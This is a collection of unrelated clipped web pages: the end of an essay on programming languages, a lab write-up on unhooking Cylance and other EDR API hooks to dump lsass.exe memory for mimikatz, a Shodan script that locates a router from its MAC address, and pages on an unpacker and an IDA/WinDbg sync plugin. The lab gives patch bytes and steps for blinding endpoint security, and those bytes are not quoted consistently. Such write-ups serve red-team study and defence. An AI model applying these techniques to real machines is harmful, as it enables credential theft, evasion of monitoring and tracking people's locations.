  * support for components
  * a simple, consistent and readable syntax

If you've read this far and agree with many of my observations, then my
recommendation to you is simple: learn some new languages. In particular,
learn all of the languages that I've discussed above, even the ones I put
down. Write sizable programs in all of these languages. This will not only be
fun, but it will teach more about what makes a computer language scalable than
you will ever learn by reading. And if you only want to learn _one_
programming language out of all the ones I mentioned, please do yourself a
favor and learn Ocaml. It's not perfect, but it's the best language I've ever
used. If you have the time to learn _two_ languages, the other language should
be Common Lisp or Scheme.

Have fun\!

## Epilogue: May 2003

Since writing the original version of this article, I've had some experiences
which have modified some of my views. Most importantly, I am not as high on
Ocaml as I was then. While I still think Ocaml is an outstanding language in
many respects, there are significant things I don't like about it. I wanted to
use Ocaml as the language for a large project I wanted to work on, but found
very quickly that I couldn't use it the way I wanted. The object system
doesn't support multimethods \(which is no surprise; very few languages do\),
and there were certain features I wanted that called for multimethods. In C++
or Java, you can fake multimethods because you have run-time type
identification \(RTTI\). But the Ocaml developers refuse to add this feature
to Ocaml on quasi-religious grounds; the idea of having programs which cannot
be proven to be type-safe at compile time goes against everything they believe
in. No matter if the type violations give rise to a safe exception just like
dividing by zero does; they won't hear of it. So I'm not using Ocaml for that
project.

I've also had more experience with both Java and C++ since writing the first
version of this article. I haven't changed my opinion of Java much; the best
thing about it is that it comes with a huge variety of useful libraries. The
upcoming "Tiger" release of Java will add several new language features which
will make programming in Java much less painful \(notably generics and
autoboxing\), which I welcome. I think Java is a fine language for many types
of applications, but it doesn't have the qualities of coolness that make me
fall in love with a language, and the abstraction level is still less than
many other languages, including C++. Speaking of C++, I now understand better
why C++ is the way it is. Even though C++ is monstrously complex, the ability
to write code that moves smoothly from a bit-level of abstraction to a fairly
high level of abstraction is extremely valuable for many projects, especially
ones where efficiency is paramount. I intend to do more C++ programming and
also to use the Boehm-Demers conservative GC to see how effective it is in
combination with C++'s other features.

Martin Rodgers \(author of one of the quotes above\) sent me an email where he
said that his main criterion for scalability is that a language not put a
glass ceiling on abstraction. This is the classic Lisp programmer's viewpoint,
and I am very sympathetic to it. One of the big challenges in programming
language design is to get languages with the flexibility of Lisp but with more
static guarantees. The ML family of languages are a compromise between static
type safety and Lisp-like flexibility. I look forward to future developments
in this area.

## Epilogue 2: July 2006

This article got posted to reddit.com and probably some other places, so I've
been getting a lot of comments on it. Here is my response to some of the ones
I found most interesting.

Julian Morrison sent me this email:

_There's a very important feature you missed, and it's the real explanation
for the success of Java: separable, atomic, pre-packaged, versioned
functionality. Jarballs. Those, more than anything else, make reusability
real. Java programming is about plugging together ready-built parts. Nothing
else comes close._

I have to agree with him on this, and it's a major omission from the
discussion above \(the component stuff is sort of related to this\). I don't
find Java to be a very inspiring language, but I like the Java infrastructure
a lot \(the same comment applies to C\#\). With Java, you can download
packages and have pretty good confidence that everything will work as it
should \(with some caveats that I'll mention below\). There are a bunch of
features of the Java infrastructure that make this possible: bytecode, having
the same virtual platform on every real platform, versioning, metadata, etc.
but they all result in a chunk of code which \(ideally\) "just works". In
fact, it doesn't always "just work" but it "just works" more often than in
most other languages I've used. To give an example, I tried to install a
podcasting program which was written in Python, but which used Python
interfaces to a number of libraries written in C or C++. I couldn't get it to
work \(and I've been doing this for a _long_ time\) because of all the version
skew problems. This wasn't Python's fault as a language; it was the fact that
the Python packages didn't track the C/C++ versions that were being used well
enough. This is much less likely to happen in Java, for the reasons mentioned
above and also because using code written in C/C++ as part of a Java program
\(_i.e._ through JNI\) is less necessary \(here's where JIT-compiling pays off
big time\).

On the other hand, my colleague Donnie Pinkston, who has forgotten more about
Java than I'll ever know, has pointed out that it's very easy to get into
classloader hell for projects that define their own classloaders \(which
apparently is often necessary\), so it's not all a bed of roses. But I think
there is a point to be made that Java gets some of the large-scale issues less
wrong than most languages. These issues tend to be boring non-sexy things that
don't excite my computer language sense, but they are absolutely essential in
practice. If nobody can install your program, nobody can use it. And yes, I
think I've spent as much time typing "`configure;make;make install`" as
anyone, and I don't think that's good enough. Material for another rant.

One person mentioned that Common Lisp has multimethods, which is true \(it's
part of CLOS, the Common Lisp Object System\). Multimethods are very cool
\(some languages, like Goo, build them in right from the start\); my
impression, though, is that they're hard to implement efficiently. One day
I'll build a language with multimethods to find out for myself.

Someone argued that I'd been too hard on Ocaml for claiming that it's not able
to fake multimethods. All I can say is: try it, and see how easy you think it
is. I still think Ocaml is a great language, by the way.

One person argued for Lisp's scalability on a number of levels, which
essentially comes down to Paul Graham's argument that in Lisp, you extend the
language towards the problem instead of coding the problem down to the
language \(which I mention above\). Two key features that enable this are a
uniform syntax and syntactic macros. I'm definitely a fan of uniform syntax
\(for one thing, it lessens the conceptual load of learning the language\) and
of syntactic macros. However, macros have interesting and complex interactions
with module systems, and many people feel that Common Lisp didn't get this
right. Matthew Flatt's paper Compilable and Composable Macros goes into the
PLT Scheme macro/module system, which is an interesting new approach to this
problem that tries to be the best of both worlds. Also, there has been a lot
of recent work on "multi-stage programming", which generalizes the notion of
compile-time computation to an arbitrary number of stages \(compile-time, run-
time, link-time, whatever\) and also can incorporate static type checking.
This seems extremely promising to me. Tim Sheard has a number of papers on
this and related subjects, as well as links to other work.

Julian Noble \(an ex-Caltecher\!\) asked me about Forth, a language that he is
intimately familiar with \(he wrote a book called Scientific Forth on \(you
guessed it\) scientific computing in Forth\). Forth was my first love among
programming languages \(I read Leo Brodie's Starting Forth a long time ago\),
and I've had kind of a love/hate relationship with it ever since. You can do
cool things in Forth that are nearly impossible to do in other languages
\(like change the lexical syntax\), but it always seems to me that things that
are fairly easy to do in other languages are hard to do in Forth. I could
write a very long article explaining this in detail, and I probably will one
day. Also, Forth has the "write-only" quality that I dislike about Perl, only
even more so \(though mitigated somewhat by the very uniform syntactic and
semantic model\). I've written two experimental languages to try to get at the
essence of what I like about Forth without the things I don't like; I haven't
gotten there yet. \(By the way, writing Forth-like languages seems to be a
rite of passage for computer language geeks.\) I agree with Julian that Forth
is a very easy language to debug, and also that it's a language that everyone
with a serious interest in computer languages should study.

I pretty much stand by my statements on C++ that I expressed in the first
epilogue. C++ is a terrifically powerful language, but it's extremely complex
and there are so many ways to shoot yourself in the foot that it's hard to
use. I've started to think of C++ as a giant macro system around C, which
makes a lot of the design decisions easier to understand. Stan Lippman's book
Inside the C++ Object Model is essential reading if you want to understand C++
better, though the book is somewhat out of date.

Since writing the last epilogue, I've gotten very enamored of Haskell, which
I've been interested in for a long time. It was actually a couple of my
students \(Brandon Moore and Aaron Plattner\) who turned me \(back\) on to
Haskell. Haskell has come a long way in the last few years, and is now
starting to be used for serious applications. I think Haskell has the
potential to be the most scalable language ever, but the learning curve is
monstrous. The great thing about Haskell is that its purely-functional nature
allows you to combine components arbitrarily, and they always work the way you
expect\! Al Barr once described this to me as the "snap-together" quality of a
language, and Haskell code snaps together very nicely. However, there's a
cost; dealing with I/O and mutable state requires more work than in most
languages \(though the type system does give you nice guarantees about which
functions can do I/O or state manipulation and which ones can't\). Another
interesting thing: the "point-free" style of programming in Haskell reminds me
a lot of Forth\! In Forth you create new functions by concatenating old
functions; in Haskell you do the same thing, but with a function composition
operator between the functions \(of course, it's not \_quite\_ that simple,
but it's close\). So maybe I've come full circle: Haskell is Forth, lambda
calculus is SKI combinators, and I need to up my medication ;-\)

## References

  1. Structure and Interpretation of Computer Programs, by Hal Abelson, Gerry Sussman and Julie Sussman \(the full text is online, but you really should buy a copy ;-\)\).
  2. The Boehm-Demers conservative garbage collector \(Hans Boehm's page\).
  3. The Eiffel programming language.
  4. The Cyclone programming language.
  5. The objective CAML \(Ocaml\) programming language.
  6. The extreme programming home page.
  7. The Gwydion Dylan home page. GD is an open-source implementation of the Dylan language.
  8. The PLT Scheme home page. PLT Scheme is an outstanding implementation of the Scheme programming language, with many innovative features.
  9. Scott Meyers, _Effective C++, 2nd Ed._ and _More Effective C++_. Addison-Wesley, 1997 and 1995 \(respectively\).
  10. Andrei Alexandrescu, _Modern C++ Design_. Addison-Wesley, 2001.
  11. Paul Graham, On Lisp.
  12. Bertrand Meyer, Object-oriented Software Construction. Prentice-Hall, 2000.
  13. The Gwydion Dylan implementation of the Dylan language.
  14. The Standard ML of New Jersey \(SML/NJ\) implementation of the Standard ML language.
  15. The Haskell home page.

* * *
Go back to my home page. | _Last updated January 28, 2009_  
---|---  
Mike Vanier \(mvanier@cs.caltech.edu\)

# Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs

**Created:**| _5/10/2019 8:23:21 AM_  
---|---  
**Updated:**| _5/10/2019 8:23:21 AM_  
**Author:**| __  
**Tags:**| _antivirus evasion_  
  

  

#

Context<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='538'%3e%3cg data-evernote-id='539'
class='js-evernote-checked'%3e%3cpath d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0
0-7.07-7.07l-1.72 1.71' data-evernote-id='540' class='js-evernote-
checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07
7.07l1.71-1.71' data-evernote-id='541' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

If you've tried dumping lsass.exe process memory from an endpoint where
CylancePROTECT is running, you know you will be having a hard time.

This lab shows how it's still possible to dump the process memory and bypass
Cylance \(**or any other Antivirus/Endpoint Detection & Response solution**\)
that uses userland API hooking to determine if a program is malicious during
its execution.

Hooking is an old technique and I've read about it in the past, but never had
a chance to play with it, until I stumbled upon a post by Hoang Bui who wrote
about unhooking EDRs https://medium.com/@fsx30/bypass-edrs-memory-protection-
introduction-to-hooking-2efb21acffd6.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='currentColor' viewBox='0 0 24 24'
xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'
stroke='none' style='color:%233884FF' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='569'%3e%3cg data-evernote-id='570'
class='js-evernote-checked'%3e%3cpath d='M12.2
8.98c.06-.01.12-.03.18-.06.06-.02.12-.05.18-.09l.15-.12c.18-.19.29-.45.29-.71
0-.06-.01-.13-.02-.19a.603.603 0 0 0-.06-.19.757.757 0 0
0-.09-.18c-.03-.05-.08-.1-.12-.15-.28-.27-.72-.37-1.09-.21-.13.05-.23.12-.33.21-.04.05-.09.1-.12.15-.04.06-.07.12-.09.18-.03.06-.05.12-.06.19-.01.06-.02.13-.02.19
0 .26.11.52.29.71.1.09.2.16.33.21.12.05.25.08.38.08.06 0 .13-.01.2-.02M13
16v-4a1 1 0 1 0-2 0v4a1 1 0 1 0 2 0M12 3c-4.962 0-9 4.038-9 9 0 4.963 4.038 9
9 9 4.963 0 9-4.037 9-9 0-4.962-4.037-9-9-9m0 20C5.935 23 1 18.065 1 12S5.935
1 12 1c6.066 0 11 4.935 11 11s-4.934 11-11 11' fill-rule='evenodd' data-
evernote-id='571' class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e'
/>

This lab demonstrates API unhooking in the context of `MiniDumpWriteDump `
API, but it could be done against any other hooked API.

#

What is hooking?<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='586'%3e%3cg data-evernote-id='587' class='js-evernote-checked'%3e%3cpath
d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71' data-evernote-
id='588' class='js-evernote-checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0
0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71' data-evernote-id='589'
class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

API hooking could be compared to a web proxy - all API calls \(including their
arguments\) that your application makes \(say `CreateFile `,`ReadFile `,
`OpenProcess `, etc\), are intercepted and inspected by AVs/EDRs which then
decide if the action/intent of the program is malicious or not.

#

How is hooking done?<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='615'%3e%3cg data-evernote-id='616' class='js-evernote-checked'%3e%3cpath
d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71' data-evernote-
id='617' class='js-evernote-checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0
0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71' data-evernote-id='618'
class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

The way EDR vendors hook userland APIs is by hijacking/modifying function
definitions \(APIs\) found in Windows DLLs such as `kernel32/kernelbase ` and
`ntdll `.

Function definitions are modified by inserting a `jmp ` instruction at their
very beginning. Those `jmp ` instructions will change program's execution flow
- the program will get redirected to the EDRs inspection module which will
evaluate if the program exhibits any suspicious behaviour and it will do so by
analyzing the arguments that were passed to the function that the EDR is
hooking/monitoring. This redirection is sometimes called a `detour/trampoline
`.

Hopefully the below diagram helps clarify it further:

<img src='img/Screenshot from 2019-04-19 00-04-00.png' width='603'
height='182' />

It's worth noting that not all the functions get hijacked by AVs/EDRs. Usually
only those functions that are known to be abused over and over again in the
wiled that get hooked - think `CreareRemoteThread `, `NtQueueApcThread ` and
similar.

#

Execution<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid
meet' height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='675'%3e%3cg data-evernote-id='676'
class='js-evernote-checked'%3e%3cpath d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0
0-7.07-7.07l-1.72 1.71' data-evernote-id='677' class='js-evernote-
checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07
7.07l1.71-1.71' data-evernote-id='678' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

##

Getting Caught by Cylance<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='691'%3e%3cg data-evernote-id='692' class='js-evernote-checked'%3e%3cpath
d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71' data-evernote-
id='693' class='js-evernote-checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0
0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71' data-evernote-id='694'
class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Note that this lab is based on another lab where I wrote a small C++ program
that used `MiniDumpWriteDump ` Windows API to dump the lsass.exe process
memory - Dumping LSASS without Mimikatz == Reduced Chances of Getting Flagged
by AVs.

Let's try and run the code \(referenced in the above lab\) on a system that is
monitored by CylancePROTECT. The program gets killed with `Violation:
LsassRead `straight away:

<img src='img/Screenshot from 2019-04-18 23-28-34.png' width='603'
height='142' />

As you could have guessed, it Cylance hooks the `MiniDumpWriteDump ` API call.
To be more precise, it actually hooks a `NtReadVirtualMemory ` from `ntdll.dll
` which is called under the hood by the `MiniDumpWriteDump `.

##

Confirming the Hook<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='744'%3e%3cg data-evernote-id='745' class='js-evernote-checked'%3e%3cpath
d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71' data-evernote-
id='746' class='js-evernote-checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0
0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71' data-evernote-id='747'
class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Executing the program with debugger, it can be observed that very early in the
process execution, a Cylance Memory Protection Module `CyMemDef64.dll ` gets
injected into `Invoke-CreateMemoryDump.exe ` \(my program that leverages
MiniDumpWriteDump\) process - this is the module that will be inspecting the
API calls made by Invoke-CreateMemoryDump.exe:

<img src='img/Screenshot from 2019-04-18 23-39-47.png' width='603' height='90'
/>

Since we know that `MiniDumpWriteDump ` calls `NtReadVirtualMemory `, we can
take a peek at `NtReadVirtualMemory ` function definition to see if there's
anything suspicious about it:

@WinDBG

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='783'%3e%3cg data-evernote-id='784'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='785' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='786' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    u NtReadVirtualMemory
[/code]

We immediately see that the first instruction of the function is a `jmp `
instruction to some weird memory address which falls outside the `ntdll `
module's memory address ranges:

<img src='img/Screenshot from 2019-04-18 23-41-59.png' width='498'
height='103' />

Let's dissassemble that address:

@WinDBG

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='818'%3e%3cg data-evernote-id='819'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='820' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='821' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    u 0000000047980084
[/code]

We can immediately see that there are further `jmp ` instructions to Cylance
Memory Protection Module `CyMemDef64.dll ` \- this confirms that the function
`NtReadVirtualMemory ` is hooked:

<img src='img/Screenshot from 2019-04-18 23-44-31.png' width='603' height='88'
/>

To confirm that our program will eventually call `NtReadVirtualMemory `, we
can put a breakpoint on it and continue our program's execution - as shown in
the below screengrab, the breakpoint is hit:

<img src='img/Screenshot from 2019-04-18 23-57-31.png' width='603'
height='324' />

If we continue the program execution at this point, it will be redirected
\(`jmp ` instruction\) to Cylance's Memory Protection Module and the program
will be bust with the `Violation: LsassRead ` message.

##

Unhooking<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid
meet' height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='878'%3e%3cg data-evernote-id='879'
class='js-evernote-checked'%3e%3cpath d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0
0-7.07-7.07l-1.72 1.71' data-evernote-id='880' class='js-evernote-
checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07
7.07l1.71-1.71' data-evernote-id='881' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

In order to unhook or, in other words, restore the hooked function to its
initial state, we need to know how it looked like before it got modified by
Cylance.

This is easy to do by checking the first 5 bytes of the function
`NtReadVirtualMemory ` that can be found in c:\windows\system32\ntdll.dll
before it gets loaded into memory. We can see the function's Relative Virtual
Address \(RVA\) in ntdll's DLL exports table - which in my case is `00069C70 `
\(will probably be different on your system\):

<img src='img/Screenshot from 2019-04-19 00-17-09.png' width='518'
height='106' />

If we convert the RVA to the physical file location \(which is the same as RVA
since the file is not yet in memory\), we can see that the first 5 bytes of
the function are `4c 8b d1 b8 c3 `:

<img src='img/Screenshot from 2019-04-19 00-18-40.png' width='603'
height='240' />

What the above means is that if we replace the first 5 bytes \(`e9 0f 64 f8 cf
`\) of the `NtReadVirtualMemory ` that were injected by Cylance, to `4c 8b d1
b8 3c `, Cylance should become blind and no longer monitor `MiniDumpWriteDump
` API calls.

With this information, we can update the program and instruct it to find the
address of function `NtReadVirtualMemory ` and unhook it by writing the bytes
`4c 8b d1 b8 3c ` to the beginning of that function as shown in line 17 below:

<img src='img/Screenshot from 2019-04-18 23-34-05.png' width='603'
height='330' />

Recompiling and running the program again dumps lsass.exe process memory
successfully without Cylance interferance:

<img src='img/Screenshot from 2019-04-18 23-36-28.png' width='523'
height='207' />

We can now take the dump file offline and load it into mimikatz...

I only unhooked one function, but the process could be automated to unhook all
functions by comparing function definitions in the DLL on the disk with their
definitions in memory. If the function definition in memory is different, it
meants it is hooked and should be patched with instructions found in the
definition on the disk.

#

References<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid
meet' height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='976'%3e%3cg data-evernote-id='977'
class='js-evernote-checked'%3e%3cpath d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0
0-7.07-7.07l-1.72 1.71' data-evernote-id='978' class='js-evernote-
checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07
7.07l1.71-1.71' data-evernote-id='979' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Great references below, including Cylance themselves talking about unhooking:

Bypass EDR’s memory protection, introduction to hooking

Introduction

medium.com

Silencing Cylance: A Case Study in Modern EDRs – MDSec

A Case Study in Modern EDRs

www.mdsec.co.uk

# Surtri - Linux software, web services and more

**Created:**| _1/18/2011 9:45:32 AM_  
---|---  
**Updated:**| _1/18/2011 9:46:41 AM_  
**Author:**| __  
**Tags:**| _wardriving Forensics privacy_  
  

# Wifi Positioning System

A central component of Samy Kamkar’s “How I met your girlfriend” talk was the
ability to get the physical location of a user via the MAC address of their
wireless router. I couldn’t find his code, but after some quick Googling I
wrote my own wrapper around the Google Location web service. Alright, to get
started make sure you have the Shodan Python library installed:

  

[code]

    easy_install shodan
    
    
[/code]

  

If you already have Shodan installed, make sure yo’re running the latest
version:

  

[code]

    easy_install -U shodan
    
    
[/code]

  

Now that the library’s installed, lets write a quick script:

  

[code]

    1 from shodan.wps import GoogleLocation
    2 
    3 wps_client = GoogleLocation()
    4 address = wps_client.locate('00:1D:7E:F0:A2:B0')
    5 
    6 print address
    
    
[/code]

  

And that’s it\! the **address** variable now contains a dictionary of values
that include all the info you could want:

  

[code]

    {'access_token': '2:rbShPJe-4LAay7E2:JC1CZE44kD144m5H',
     'location': {'accuracy': 24.0,
                   'address': {'city': 'Portland',
                                'country': 'United States',
                                'country_code': 'US',
                                'county': 'Multnomah',
                                'postal_code': '97202',
                                'region': 'Oregon',
                                'street': 'SE Tolman St',
                                'street_number': '1700-1798'},
                   'latitude': 45.4773572,
                   'longitude': -122.6477922}}
    
    
[/code]

  

Make sure to check the accuracy field before using the data, I’ve found that a
value of ‘42000’ indicates that the Google Locations API wasn’t able to locate
the address. And let me know if you find bugs or have ideas for improvement.
Have fun\!

  

# fuu - \[F\]aster \[U\]niversal \[U\]npacker - Google Project Hosting

**Created:**| _6/19/2011 6:42:04 PM_  
---|---  
**Updated:**| _6/19/2011 6:42:18 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

**FUU \(Faster Universal Unpacker\)** is a GUI Windows Tool with a set of
tools \(plugins\) to help you to unpack, decompress and decrypt most of the
programs packed, compressed or encrypted with the very well knowns software
protection programs like UPX, ASPack, FSG, ACProtect, etc.

The GUI was designed using RadASM and MASM. Every plugin included in the
official release was written in ASM using MASM.

The core of every plugin use TitanEngine SDK from ReversingLabs under the
hood, this help to the developer to write plugins very easy and very fast
without the need to worry about some repetitive and boring functions like
dump, fix the iat, add sections, etc. You can develop a plugin for FUU in a
very easy way using TitanEngine.

Also, FUU include some extra tools like:

  * Generic OEP Finder
  * Cryto Signature Detector
  * Generic Unpacker
  * Signatures Detector \(by marcianito at gmail dot com\)

Generic OEP Finder, Cryto Signature Detector and Generic Unpacker are from
PEiD's team.

_**IMPORTANT NOTICE: A ripped version of FUU is distributed under the name of
MART\!K Unpacker. This tool does not add additional features to the current
ones in FUU. The author of this fake tool just ripped the original strings of
FUU \(main executable file and plugins\) for his own. A mention to the
original project \(FUU\) was added to the post in his blog but the sources
were not released and corresponded credit were not added in the executables,
indeed, the original author was removed and in his place, the name of MART\!K
was added. Please, contact anyone in the FUU's team if you have any further
question or if you know about another case like this were FUU is involved.**_

### Latest changes

**Added Unpacker for PFE by El Tio Pastafrola** bin src \(18/02/2011\)

**Version 0.1.1 Beta**

**Plugins**

  * Added an unpacker for nPack
  * Added an unpacker for Packman
  * Added an unpacker for dePack

**Tools**

  * Added a PE signature detector \(by marciano\) based on the PE Tools Signatures Database

See changelog.txt or the changelog wiki page for more information.

**Version 0.1 Beta**

**Plugins**

  * UPX Unpacker for UPX v1.x - 3.x \(DLL and EXE - x86\)
  * BeRoExEPacker Unpacker \(EXE - x86\)
  * FSG Unpacker for v1.x - 2.x \(EXE - x86\)
  * ASPack Unpacker for ASPack 2.x \(EXE - x86\)

**Tools**

  * Generic OEP Finder \(GenOEP.dll\)
  * Crytp Signatures Detector \(kanal.dll\)
  * Generic Unpacker

### Additional resources

  * PEiD's Homepage
  * MASM32 Homepage
  * RadASM IDE Homepage
  * TitanEngine SDK

# QuarksLAB Blog

**Created:**| _7/13/2012 9:13:43 AM_  
---|---  
**Updated:**| _7/13/2012 9:13:43 AM_  
**Author:**| __  
**Tags:**| _Debugging iDA plugin windbg gdb_  
  

qb-sync

Posted by Alexandre Gazet on 09.07.2012

qb-sync is an open source tool to add some helpful glue between IDA Pro and
Windbg. Its core feature is to dynamically synchronize IDA's graph windows
with Windbg's position.  
  
Whether you do malware/vulnerability/crash analysis and/or exploit development
on Windows platforms, two tools are somehow inescapable:  

  1. IDA Pro, a disassembler, for static analysis \(it is not in my habits to use it as a debugger\)  

  2. Windbg, a debugger for dynamic analysis  

  
  
Using these tools with a dual-screen configuration is a usual and comfortable
setup. Nevertheless the situation gets vicious when you want to share
information between the tools; situations where you'd like to:  

  1. enjoy IDA's graph view while single-stepping a sensitive piece of code with Windbg: you end-up manually adjusting IDA's view to match you position in Windbg  

  2. save live information from Windbg to your idb: let's say sensitive register value/memory content at a certain address, object dynamic type or vtable entry pointer for C++ code, etc. : again you end-up manually copy-pasting information from one window to the other.  

  
  
It gets even worse when IDA and Windbg are not on the same host, for example
when using a virtual machine \(eventually trashed/reset after usage\).  
  
qb-sync has been developed to ease these issues and prevent these tedious,
boring manipulations. Its purpose is to add some helpful glue between the
debugger and the disassembler. qb-sync's core feature is to dynamically
synchronize IDA's graph windows with Windbg's position: the current
instruction is highlighted and centered on in IDA's graph view. The plugin
\(couple of plugins would be more accurate\) is made of three components:  
  

  1. ext\_windbg/sync: WinDbg extension source files, native code, once built: sync.dll \(require WinDDK, Debugging Tools\). Export commands available through the debugger's command line and automatically send status update to the broker  

  2. ext\_ida/SyncPlugin.py: IDA plugin, python code, receive async events from broker, update graph view, interact with the idb.  

  3. ext\_ida/broker.py: python code, bind a TCP socket on port 9100, receive events from the debugger \(socket\) and forward them to the disassembler \(stdout\)  

  
  
qb-sync is meant to be intuitive, its usage should be as transparent as
possible. One only has to load the plugins in their respective environments.  
  
For the IDA side:  
  

Code: plain1234567891011121314| `IDA File-> Script File -> SyncPlugin.py
(Alt-F7)` `[sync] form create``[*] initBroker, "Y:Python27python.exe" -u
"Y:syncext_idabroker.py"``[sync] path Y:target``[sync] name target.exe``[sync]
module base 0x400000`` ``callui 0xf10ca0`` ``grentry 0xfd17b0`` ``curr tform *
0x960e538`` ``find tform * 0x404e678 (IDA View-A)`` ``graph viewer 0xc74c50
ret 0x0``[*] broker started``[*] broker announcement: broker listening`  
---|---  
  
  
For the Windbg side:  
  

Code: plain12345678| `0:000> !load sync``[sync.dll] DebugExtensionInitialize,
ExtensionApis loaded` `0:000> !sync``[sync.dll] sync function called``!sync:
No argument found, using default host (localhost)``[sync.dll] Tunnel
